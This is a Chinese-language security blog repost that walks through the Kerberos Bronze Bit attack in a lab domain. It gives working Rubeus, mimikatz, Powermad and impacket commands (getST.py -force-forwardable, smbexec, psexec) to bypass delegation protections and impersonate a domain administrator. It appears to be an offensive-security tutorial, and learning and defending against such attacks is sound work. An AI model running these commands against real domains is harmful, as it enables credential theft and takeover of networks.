Kerberos Bronze Bit Attack 绕过约束/资源委派限制

admin 2024年2月19日14:07:22评论13 views字数 2633阅读8分46秒阅读模式

该漏洞解决了两个问题

1.禁止协议转换/协议过渡
2.受保护的用户和敏感用户不能被委派

具体设置表现为DC上设置Service1计算机账户为“仅使用Kerberos”而非“使用任何身份验证协议”

域环境

DC:WIN-5CHMN9C4UES.YAYI.local (Windows Server 2012)

域内两台机器:
one2008.YAYI.local (Windows Server 2008)
WIN-BMIO66D4K15.YAYI.local (Windows 7)

域用户:
fwwr
joke

传统的约束委派绕过

服务用户:

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

委派对象:WIN-5CHMN9C4UES.YAYI.local

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

常规的约束委派利用:

1. 得到约束委派机器的用户凭证
2. 发现委派用户委派的目标机器
3. 获取RC4利用

powerview 查看约束委派的机器:

Get-DomainComputer -TrustedToAuth -Properties distinguishedname,msds-allowedtodelegateto | fl

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

Rubeus 一条命令实现约束委派:

Rubeus.exe s4u /user:fwwr /domain:YAYI.local /rc4:ca69e7f0f02d9156d1616ba6abd395b6 /impersonateuser:administrator /msdsspn:"dhcp/WIN-5CHMN9C4UES.YAYI.local/YAYI.local" /altservice:cifs /ptt

由于用户设置了 "敏感用户,不能被委派",将造成失败

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

使用新版 impacket 绕过:(截至最新版本:0.9.22),最低版本要求:(0.9.21)

先登录 one2008 机器用 mimikatz 获取 AES 和 RC4

privilege::debug
sekurlsa::"ekeys"

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

获取 TGT 导入 smbexec 连接

python3 getST.py -spn cifs/WIN-5CHMN9C4UES.YAYI.local -impersonate administrator -hashes AAD3B435B51404EEAAD3B435B51404EE:0adce35e9d541588782a98fe1fce59cf -aesKey 56f41eb095b4099b27934963200180321742c6f89db55bff02495b22b17afe69 YAYI.local/one2008 -force-forwardable
export KRB5CCNAME=administrator.ccache
sudo python3 smbexec.py -no-pass -k WIN-5CHMN9C4UES.YAYI.loca

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

基于资源的约束委派绕过

先配置环境,首先删除上一步 service1 的委派权限

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

用 adsi 编辑器赋予域用户 joke 对 one2008 写入权限

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

joke 用户可登录 WIN-BMIO66D4K15,登录进去后

过 powermad 新加入一个计算机账户 AttackerService,密码为 AttackerServicePassword

Import-Module .powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

用 mimikatz 计算出 hash

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

使用 PowerShell Active Directory 模块添加基于资源的约束委派,即从AttackerService 到 one2008 的传入信任关系

Import-Module .Microsoft.ActiveDirectory.Management.dll
Get-ADComputer AttackerService #确认机器账户已经被添加
Set-ADComputer one2008 -PrincipalsAllowedToDelegateToAccount AttackerService$ #设置域用户到目标机器
Get-ADComputer one2008 -Properties PrincipalsAllowedToDelegateToAccount #查看机器

验证用户是否成功委派到目标机器

Get-DomainUser -Identity <user> -Properties objectsid #获取某个用户的SID
Get-DomainObjectAcl -Identity one2008.YAYI.local  | ?{$_.SecurityIdentifier -match "S-1-5-21-2799505025-1944254007-2887416074-1618"#查询某个机子的AC

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

可以看到现在对 One2008.YAYI.local 有完全的控制权限,直接申请 TGT 远程连接即可(这里的 RC4 和 AES key 是上面的 mimikatz 获取的)

python3 getST.py -spn cifs/one2008.YAYI.local -impersonate administrator -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 537056f14b0f81bc6e4be6ddba7786efdadb813c61ed5a6dce1b YAYI.local/AttackerService -force-forwardable
export KRB5CCNAME=administrator.ccache
python3 psexec.py -no-pass -k one2008.YAYI.local

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

参考链接https://y4er.com/post/kerberos-bronze-bit-attack/
Kerberos Bronze Bit Attack 绕过约束/资源委派限制

原文始发于微信公众号(刨洞安全团队):Kerberos Bronze Bit Attack 绕过约束/资源委派限制

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月19日14:07:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Kerberos Bronze Bit Attack 绕过约束/资源委派限制http://cn-sec.com/archives/2124059.html

发表评论

匿名网友 填写信息